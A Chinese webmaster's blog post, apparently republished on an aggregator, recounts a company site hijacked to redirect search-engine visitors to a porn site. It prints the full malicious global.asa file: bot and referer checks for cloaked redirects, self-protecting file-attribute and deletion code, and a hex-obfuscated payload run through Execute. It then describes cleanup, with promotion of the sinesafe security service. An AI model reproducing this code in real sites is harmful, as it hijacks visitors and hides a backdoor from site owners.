网站被挂马实用如何解决的办法

news/2024/5/15 14:14:39/文章来源:https://blog.csdn.net/weixin_33946605/article/details/89660752

 最近单位网站在百度搜索点击打开都是黄色的,而直接输入网址反而没问题,在百度搜索中被提示为网站被黑的可能,很多客户搜索我们网站都进入了黄色网站,给公司的形象造成了很大的影响,作为公司的网站技术人员,以前也算是搞了5年的老站长了,什么事没惊着,从头开始分析网站被黑的原因。


 

百度的收录为基础


 

在百度Site下自己网站发现收录了许多色情类内容快照,什么电影,什么美女主播,看了收录足足300多条快照,再看下网站首页的收录,发现已经面目全非了,百度快照都是空的。网站的标题都成了网站的地址了,内容也为空了。我这才意识到完了,网站肯定是被K了。

打开其中任意一个地址,直接跳转到了黄色网站上,网站地址是:http://mrr.8800.org/mm/

如下图:

 

问题慢慢浮出水面


 

首先问题的表面就是网站的收录剧增,都是收录一些恶意的内容和违法的内容(包括时时彩色情什么的)。再一个表面特征是从搜索引擎来的点击会自动跳转到黄色网站上,自己输入网站则不会出现跳转。这时我充分的确定了是网站程序的问题,登陆空间FTP发现网站根目录下有许多陌生的文件夹,里面的网站文件打不开也删不掉,老提示没有权限删除。再往下级目录查看时发现了一个古怪的文件名,是global.asa 用sinesafe木马检测工具检测出是木马文件,内容如下:


 

<script runat="server">

'网站全局文件


 

sub Application_OnStart

end sub


 

sub Application_OnEnd

end sub


 

Public Function GetHtml(url)

       Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")

       ObjXMLHTTP.Open "GET",url,False

       ObjXMLHTTP.setRequestHeader "User-Agent",url

       ObjXMLHTTP.send

       GetHtml=ObjXMLHTTP.responseBody

       Set ObjXMLHTTP=Nothing

       set objStream = Server.CreateObject("Adodb.Stream")

       objStream.Type = 1

       objStream.Mode =3

       objStream.Open

       objStream.Write GetHtml

       objStream.Position = 0

       objStream.Type = 2

       objStream.Charset = "gb2312"

       GetHtml = objStream.ReadText

       objStream.Close

End Function


 

Function check(user_agent)

    allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp,QihooBot,YoudaoBot,iaskspider",",")

    check_agent=false

    For agenti=lbound(allow_agent) to ubound(allow_agent)

        If instr(user_agent,allow_agent(agenti))>0 then

            check_agent=true

            exit for

        end if

    Next

    check=check_agent

End function


 

Function CheckRefresh()

       CheckRefresh = False

       Dim Botlist,i,Repls

       Krobotlist = "baidu|google|sogou|soso|yahoo|bing|youdao|qihoo|iask"

       Botlist = Split(Krobotlist,"|")

       For i = 0 To Ubound(Botlist)

         If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then

              CheckRefresh = True

              Exit For

         End If

       Next

End Function

sub Session_OnStart

       On Error Resume Next

      .servervariables("Path_Translated")

       Set s=Server.CreateObject("scripting.filesystemobject")

       set f=s.Getfile("//./" & Server.MapPath("/global.asa"))

       v=Request.Form&Request.QueryString

       if instr(v,".asa")>0 then

       f.Attributes=39

       response.end()

       end if

       if instr(name,";")>0 OR instr(server.MapPath("."),".as")>0 then

       s.Getfile(name).Attributes=0

       s.DeleteFile(name)

       f.Attributes=39

       response.end()

       end if

       S="636e6e62643d6c6361736528726571756573742e736572766572:O="":For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute("o=o&chr(&H"&c&")"):Else:Execute("o=o&chr(&H"&c&Mid(s,i+2,2)&")"):i=i+2:End If:Next:execute o

end sub

看了这些代码我都有点懵圈了。

Baiduspider,Sogou,baidu,Sosospider,Googlebot,FASTWebCrawler,MSNBOT,Slurp,Qihoo" 这一行代码 就是搜索引擎的条件跳转代码,也就是说这个木马是根据搜索引擎来的,只要是从百度和搜狗还有谷歌来的都会直接跳转到他设定的网站。


 

还有一些是二进制的代码,是加了密的,我对解密不太懂,但是我的分析是他设定的跳转网址。找了几个朋友一起看了下代码,我的好朋友老刘说还有个条件跳转,是根据cookies和ip来跳转的,同一个IP和cookies只会弹窗一次,不会弹窗第二次。 黑客的手法也很高明,可见为了利益用了那么阴险的招。这种代码很安全,几乎不会让站长察觉到。


 

既然根源找到,解决游刃有余

 

把网站程序源码从空间下载了下来,放到sinesafe木马检测工具检测,又发现了许多木马文件,其中有global.asa z.aspx cende.asp phzLtoxn.php ,我在这里就不公布木马代码了,废话不多讲,直接点击清除木马,木马统统删除。ftp里删不掉的文件,找了空间商让他们在服务器里直接删除清空了目录。 最后一步就是要把网站的后台密码改掉,去年的csdn密码泄密事件搞的真让人担心,之前我是吃过亏,csdn密码和我的邮箱密码都用的一样的,导致我邮箱被盗,支付宝都被提现了,这亏吃的我是一辈子都记得,一朝被蛇咬十年怕井绳啊!


 

密码改掉后数据库的地址也要改掉,然后把清除木马的网站文件重新备份了一边,重新上传到空间,网站访问正常,之前被黑客攻击留下的百度痕迹需要到百度投诉中心提交一下,把网站被黑的原因写上,等百度的更新期,问题才得以解决.


 

一路的走来,非常的艰辛,经历才是最宝贵的,也希望上面的解决经历能够帮到更多需要帮助的人。每个站长的经历都不一样,都能无私共享一下,那么,我们站长的路会走的更远!

专注于安全领域 解决网站安全 解决网站被黑 网站被挂马 网站被篡改 网站安全、服务器安全提供商-www.sinesafe.com --专门解决其他人解决不了的网站安全问题.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_768835.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

电器商城系统java设计_基于java的商城网站系统的设计与实现.doc

基于java的商城网站系统的设计与实现.doc 许荣荣论商业银行小微企业信贷风险防范02016届毕业生毕业论文题目基于JAVA的商城网站系统的设计与实现院系别经济与管理学院专业电子商务班级电商121学号120914117姓名许荣倩指导教师张启徽二○一五年十一月许荣倩基于JAVA的商城网站系…

十周后,62%的PHP网站将运行在一个不受支持的PHP版本上

根据W3Techs的统计数据&#xff0c;目前约有78.9&#xff05;的网站使用PHP开发。\\但是&#xff0c;PHP 5.6.x的安全支持将在2018年12月31日正式停止&#xff0c;这标志着对古老的PHP 5.x分支版本的支持都将结束。\\也就是说&#xff0c;从明年开始&#xff0c;大约62&#xf…

电脑某个服务器的网站都打不开,电脑某个网站打不开的解决方法

电脑的网络链接没有问题&#xff0c;QQ和其他网页也能正常打开&#xff0c;唯独个别网站打不开&#xff0c;而且也确定了该网站的服务器没有问题&#xff0c;这时候基本就可以确定是DNS故障了。下面是学习小编给大家整理的有关介绍个别网页打不开的解决方法&#xff0c;希望对大…

最好用的电脑软件商店_分享十个超好用的网站,个人一直在用

1&#xff1a;Slanthttps://www.slant.co/Slant 是一个帮助你找到最好的产品和工具的一个实用网站&#xff1b;它可以帮助你找到最好用的硬件&#xff0c;网站&#xff0c;软件&#xff1a;电脑软件&#xff0c;手机软件&#xff0c;游戏等等。例如&#xff1a;什么是最好的跨平…

python 第三方登录_第四百零四节,python网站第三方登录,social-auth-app-django模块,...

原博文 2017-10-14 10:17 − 第四百零四节&#xff0c;python网站第三方登录&#xff0c;social-auth-app-django模块&#xff0c; social-auth-app-django模块是专门用于Django的第三方登录OAuth2协议模块 目前流行的第三方登录都采用了OAuth2协议 安装 pip install -i ht...2…

凡科网站是php类型么,建网站?那要搞清楚网站类型

在建网站之前&#xff0c;常常有些新手站长其实并不了解自己的网站类型&#xff0c;就匆匆建站&#xff0c;往网站里面填充内容&#xff0c;后弄得网站乱糟糟的&#xff0c;也不知道怎么修改。那么在建网站之前&#xff0c;小编觉得我们有必要了解一下网站有什么类型&#xff0…

7建站php_一个工具教你辨别外贸建站公司到底是坑还是...大坑

很多人找外贸网站模板或者外贸公司建站&#xff0c;希望通过搭建独立站可以取得新的获客渠道。一个独立站如果想要有效果&#xff0c;那就必须有流量&#xff1b;想要流量&#xff0c;就意味着你的网站排名必须靠前&#xff1b;而排名&#xff0c;则由以下十个要素决定。1. 内容…

多肉商店html网页代码,[转载]国外多肉植物及种子购买网站(转载)

[转载]国外多肉植物及种子购买网站(转载)2019-09-17 11:19阅读&#xff1a;天天都要寻开心庾信平生最萧瑟&#xff0c;暮年诗赋动江关。关注http://www.succulentseeds.comhttp://sacredsucculents.comhttp://www.cactusplaza.comhttp://www.cactus-succulent.comhttp://www.pr…

android 怎么实现手机网站支付_Android接入支付宝实现支付功能

我本来是想直接讲Android支付这一块的&#xff0c;包括支付宝&#xff0c;微信&#xff0c;其他第三方整合支付等&#xff0c;但是微信开放平台他对我的账号做了限制&#xff0c;所有我今天就先把重心放在支付宝的支付上&#xff0c;也算是写得尽可能详细些吧&#xff0c;毕竟是…

去哪儿网代理网站机票价格采集方案

去哪儿网的代理网站有自己独立的机票搜索接口&#xff0c;例如http://xyx.trade.qunar.com/site/。 搜索结果使用Ajax动态加载&#xff0c;服务端返回的数据是JSON格式的。 难点在于返回的价格数据是加密的&#xff0c;返回价格与真实的价格之间有很大的偏差。在客户端使用JS进…

如何利用Python爬取网站数据?

1.基本方法 其实用python爬取网页很简单&#xff0c;只有简单的几句话&#xff1a; 这样就可以获得到页面的内容。接下来再用正则匹配去匹配所需要的内容就行了。但是&#xff0c;真正要做起来&#xff0c;就会有各种各样的细节问题。 2.登录 这是一个需要登录认证的网站。也…

sharepoint 创建网页服务器,在网站主页中配置SharePoint Server 2019网站创建 - SharePoint Server | Microsoft Docs...

在 SharePoint Server 2019 中配置自助式网站创建2021/6/1本文内容适用于&#xff1a;2013 2016 2019 Microsoft 365SharePoint中的自助式网站创建体验支持在不同的 Web 应用程序中创建新网站&#xff0c;而不管 Web 应用程序是托管在本地服务器场还是远程服务器场上。 这将在管…

今天教你用 Python 爬取网站的指南

通过基本的 Python 工具获得爬取完整 HTML 网站的实践经验。 &#xff08;本文字数&#xff1a;11235&#xff0c;阅读时长大约&#xff1a;14 分钟&#xff09; 有很多很棒的书可以帮助你学习 Python &#xff0c;但是谁真正读了这那些大部头呢&#xff1f;&#xff08;剧透&…

asp.net获取网站路径

网站在服务器磁盘上的物理路径: HttpRuntime.AppDomainAppPath虚拟程序路径: HttpRuntime.AppDomainAppVirtualPath 任何于Request/HttpContext.Current等相关的方法, 都只能在有请求上下文或者页面时使用. 即在无请求上下文时,HttpContext.Current为null. 而上面提到的方法一直…

Linux服务器知识导图,整理分享一些 Linux思维导图(值得收藏)_网站服务器运行维护,Linux...

Win10 改 Win7&#xff0c;BIOS 怎么设置&#xff1f;_网站服务器运行维护Win10改Win7&#xff0c;BIOS设置方法&#xff1a;首先进入到BIOS界面&#xff1b;然后将“secure”改为disabled&#xff1b;接着将“Boot List Option”改为UEFI&#xff1b;最后在“1st Boot Priorit…

3个pc网站适配手机的方法

新的形势下&#xff0c;移动网站的使用率越来越高。移动网站的优化如何做被更多的人所关注。这里切图移动就从目前三种比较常用的pc站点移动配置方式&#xff0c;并从性能&#xff0c;需求&#xff0c;成本方面对三者进行了分析&#xff0c;并给出相应的优化建议。pc站与移动站…

web网站加速之CDN(Content Delivery Network)技术原理

在不同地域的用户访问网站的响应速度存在差异,为了提高用户访问的响应速度、优化现有Internet中信息的流动,需要在用户和服务器间加入中间层CDN. 使用户能以最快的速度&#xff0c;从最接近用户的地方获得所需的信息&#xff0c;彻底解决网络拥塞&#xff0c;提高响应速度&…

网站性能测试:使用Selenium测试网页加载时间

WebLOAD与用于Web浏览器应用程序的开源测试工具Selenium的集成&#xff0c;使您可以将执行实际活动的真实Web浏览器集成到您的性能测试场景中&#xff0c;并准确识别问题。 使用集成&#xff0c;您可以使用WebLOAD的虚拟用户来压缩系统以生成负载&#xff0c;同时运行用于测量实…

网站性能工具Yslow的使用方法

Yslow是雅虎开发的基于网页性能分析浏览器插件&#xff0c;从年初我使用了YSlow后&#xff0c;改变了博客模板大量冗余代码&#xff0c;不仅提升了网页的打开速度&#xff0c;这款插件还帮助我分析了不少其他网站的代码&#xff0c;之前我还特意写了提高网站速度的秘籍&#xf…

构建ASP.NET网站十大必备工具

最近使用ASP.NET为公司构建了一个简单的公共网站&#xff08;该网站的地址&#xff1a;http://superexpert.com/&#xff09;。在这个过程中&#xff0c;我们使用了数量很多的免费工具&#xff0c;如果把构建ASP.NET网站的必备工具总结一下&#xff0c;将会是一件十分有趣的事情…